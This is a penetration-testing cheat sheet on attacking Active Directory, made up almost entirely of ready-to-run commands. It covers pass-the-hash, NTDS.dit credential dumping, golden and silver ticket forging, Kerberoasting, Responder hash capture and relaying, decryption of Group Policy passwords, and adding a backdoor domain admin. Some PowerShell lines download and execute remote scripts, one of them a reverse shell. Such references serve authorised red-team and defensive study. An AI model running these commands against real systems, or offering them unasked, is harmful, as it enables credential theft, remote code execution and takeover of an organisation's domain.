23 KiB
Active Directory Attacks
Summary
- Tools
- Most common paths to AD compromise
- MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
- Open Shares
- GPO - Pivoting with Local Admin & Passwords in SYSVOL
- Dumping AD Domain Credentials
- Password in AD User comment
- Golden Tickets
- Silver Tickets
- Trust Tickets
- Kerberoast
- Pass-the-Hash
- OverPass-the-Hash (pass the key)
- Capturing and cracking NTLMv2 hashes
- NTLMv2 hashes relaying
- Dangerous Built-in Groups Usage
- Trust relationship between domains
- Privilege Escalation
Tools
-
Impacket or the Windows version
-
apt install bloodhound #kali neo4j console Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j ./bloodhound SharpHound.exe (from resources/Ingestor) SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100 or Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
-
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec crackmapexec smb -L crackmapexec smb -M name_module -o VAR=DATA crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' crackmapexec mimikatz --server http --server-port 80
-
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks" powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
Most common paths to AD compromise
MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
git clone https://github.com/bidord/pykek
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
Open Shares
smbmap -H 10.10.10.100 # null session
smbmap -H 10.10.10.100 -R # recursive listing
smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
or
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
ls # list files
cd # move inside a folder
get # download files
put # replace a file
or
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
use Sharename # select a Sharename
cd Folder # move inside a folder
ls # list files
Mount a share
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
GPO - Pivoting with Local Admin & Passwords in SYSVOL
🚩 GPO Priorization : Organization Unit > Domain > Site > Local
Find password in SYSVOL (MS14-025)
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
Metasploit modules to enumerate shares and credentials
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
Crackmapexec modules
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
List all GPO for a domain
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all
Powersploit:
Get-NetGPO
Get-NetGPOGroup
Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
Using ndtsutil
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
or
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Using Vshadow
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
You can also use the Nishang script, available at : https://github.com/samratashok/nishang
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
Using vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
Using DiskShadow (a Windows signed binary)
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
secretsdump also works remotely
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
Alternatives - modules
Metasploit modules
windows/gather/credentials/domain_hashdump
PowerSploit module
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
CrackMapExec module
cme smb 10.10.0.202 -u username -p password --ntds vss
Password in AD User comment
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas:
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
PassTheTicket Golden Tickets
Forging a TGT require the krbtgt key
Mimikatz version
Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt
Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
Meterpreter version
Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt
Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
Using a ticket on Linux
Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi
Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100
PassTheTicket Silver Tickets
Forging a TGS require machine accound password (key) from the KDC
Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
Then use the same steps as a Golden ticket
misc::convert ccache ticket.kirbi
export KRB5CCNAME=/home/user/ticket.ccache
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100
Trust Tickets
TODO
Kerberoast
"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
Any valid domain user can request a kerberos ticket for any domain service with GetUserSPNs
. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
Then crack the ticket with hashcat or john
hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst
Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...
or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
OverPass-the-Hash (pass the key)
Request a TGT with only the NT hash
Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
chmod 600 tgwynn.ccache
also with the AES Key if you have it
./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
Capturing and cracking NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR
, MDNS
and NETBIOS
requests on the network.
python Responder.py -I eth0
Then crack the hash with hashcat
hashcat -m 5600 -a 0 hash.txt crackstation.txt
NTLMv2 hashes relaying
If a machine has SMB signing
:disabled
, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay
and get a shell access on the machine.
- Open the Responder.conf file and set the value of
SMB
andHTTP
toOff
. - Run
python RunFinger.py -i IP_Range
to detect machine withSMB signing
:disabled
. - Run
python Responder.py -I <interface_card>
andpython MultiRelay.py -t <target_machine_IP> -u ALL
- Wait for a shell
Dangerous Built-in Groups Usage
AdminSDHolder
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
Trust relationship between domains
nltest /trusted_domains
or
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional
Privilege Escalation
PrivEsc Local Admin - Token Impersonation (RottenPotato)
Binary available at : https://github.com/foxglovesec/RottenPotato Binary available at : https://github.com/breenmachine/RottenPotatoNG
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : wmic qfe list | find "3139914"
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Binary exe : https://github.com/Meatballs1/ms16-032
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
PrivEsc Local Admin - MS17-010 (Eternal Blue)
nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
From Local Admin to Domain Admin
net user hacker2 hacker123 /add /Domain
net group "Domain Admins" hacker2 /add /domain
References
- https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html
- Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher
- Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
- Golden ticket - Pentestlab
- Dumping Domain Password Hashes - Pentestlab
- Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r
- Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r
- Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin
- Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)
- Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView
- Pen Testing Active Directory Environments - Part III: Chasing Power Users
- Pen Testing Active Directory Environments - Part IV: Graph Fun
- Pen Testing Active Directory Environments - Part V: Admins and Graphs
- Pen Testing Active Directory Environments - Part VI: The Final Case
- Passing the hash with native RDP client (mstsc.exe)
- Fun with LDAP, Kerberos (and MSRPC) in AD Environments
- DiskShadow The return of VSS Evasion Persistence and AD DB extraction
- How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 1
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 2
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 3
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 4
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 5
- BlueHat IL - Benjamin Delpy
- Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith
- Using bloodhound to map the user network - Hausec
- Abusing Kerberos: Kerberoasting - Haboob Team
- Invoke-Kerberoast - Powersploit Read the docs
- Kerberoasting - Part 1 - Mubix “Rob” Fuller